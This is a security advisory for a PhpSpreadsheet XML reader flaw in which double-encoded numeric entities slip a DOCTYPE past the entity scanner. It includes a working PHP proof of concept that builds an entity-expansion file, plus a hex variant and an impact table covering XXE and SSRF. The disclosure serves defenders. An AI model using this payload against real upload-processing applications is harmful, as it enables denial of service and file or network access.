CVE-2026-108357

Updated on 22 Oct 2026

Severity

8.8 High severity

Details

CVSS score
8.8
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Overview

About vulnerability

Summary

The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the &lt; character as &#38;#60;, the first scan decodes &#38; to & (forming &#60;), and the second scan decodes &#60; to &lt; (forming &lt;!DOCTYPE). Neither scan’s pattern check detects the &lt;!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.

Details

The vulnerability involves an interaction between three code locations:

1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:

public function scan($xml): string
{
$pattern = '/\0*&lt;\0*!\0*D\0*O\0*...\0*/';

if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)
throw new Exception('Detected use of ENTITY...');
}
$xml = $this-&gt;toUtf8($xml);
if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)
throw new Exception('Detected use of ENTITY...');
}
if ($this-&gt;callback !== null) {
$xml = call_user_func($this-&gt;callback, $xml); // DECODE (after checks!)
}
return $xml;  // &lt;!DOCTYPE now present, never checked
}

2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:

$data = file_get_contents($filename);
$data = $this-&gt;getSecurityScannerOrThrow()-&gt;scan($data); // 1st scan
// ...
$this-&gt;fileContents = $data; // stores partially-decoded content

3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:

$data = $this-&gt;fileContents; // already partially decoded
$xml = simplexml_load_string(
$this-&gt;getSecurityScannerOrThrow()-&gt;scan($data) // 2nd scan finishes decoding
);

The double-scan decode chain:

Raw file:       &#38;#60;!DOCTYPE
|
1st scan():     pattern check → no match (no "&lt;" character)
callback → html_entity_decode(&#38;) = &
|
Stored:         &#60;!DOCTYPE
|
2nd scan():     pattern check → no match (no "&lt;" character)
callback → html_entity_decode(&#60;) = &lt;
|
Parser sees:    &lt;!DOCTYPE ← never detected by either scan

The unentity() callback (Xml.php, lines 54–61) protects five named entities (&amp; &lt; &gt; &quot; &apos;) via Unicode placeholders, but numeric entities (&#38; &#60; &#x26; &#x3C;) are not protected and are decoded by html_entity_decode().

PoC

Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:

&lt;?php
require 'vendor/autoload.php';

// Double-encoded: &#38;#60; survives two scan() passes
// 1st scan callback: &#38; → & (forms &#60;)
// 2nd scan callback: &#60; → &lt; (forms &lt;!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$xml = '&lt;?xml version="1.0"?&gt;' . "\n"
. '&lt;?mso-application progid="Excel.Sheet"?&gt;' . "\n"
. '&#38;#60;!DOCTYPE Workbook &#91;' . "\n"
. '  &#38;#60;!ENTITY big "' . $entity_value . '"&gt;' . "\n"
. '&#93;&gt;' . "\n"
. '&lt;Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
. '  xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"&gt;' . "\n"
. '  &lt;Worksheet ss:Name="Sheet1"&gt;' . "\n"
. '    &lt;Table&gt;&lt;Row&gt;&lt;Cell&gt;&lt;Data ss:Type="String"&gt;' . $refs . '&lt;/Data&gt;&lt;/Cell&gt;&lt;/Row&gt;&lt;/Table&gt;' . "\n"
. '  &lt;/Worksheet&gt;' . "\n"
. '&lt;/Workbook&gt;';

file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";

$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader-&gt;canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader-&gt;load('poc.xml');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet-&gt;getActiveSheet()-&gt;getCell('A1')-&gt;getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) &gt; 10000 ? "CONFIRMED" : "not detected") . "\n";

Run: php -d memory_limit=512M poc_toctou.php

Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet’s max cell length, confirming entity expansion).

Hex variant: Replace &#38;#60; with &#38;#x3C; — both are decoded by html_entity_decode().

Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

Impact

Attack PHP < 8.0 / libxml2 < 2.9 PHP 8.x / libxml2 2.9+
Denial of Service (quadratic blowup) Exploitable Exploitable
Local file read via SYSTEM entity Exploitable Blocked by default
SSRF via SYSTEM entity Exploitable Blocked by default
File read when LIBXML_NOENT is used Exploitable Exploitable

Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the &lt;?mso-application progid="Excel.Sheet"?&gt; processing instruction) and processes them with PhpSpreadsheet’s Xml reader is vulnerable.

Details

Affected product:
phpoffice/phpspreadsheet
Affected packages:
phpspreadsheet @ 4.5.0 (+1 more)

Fixes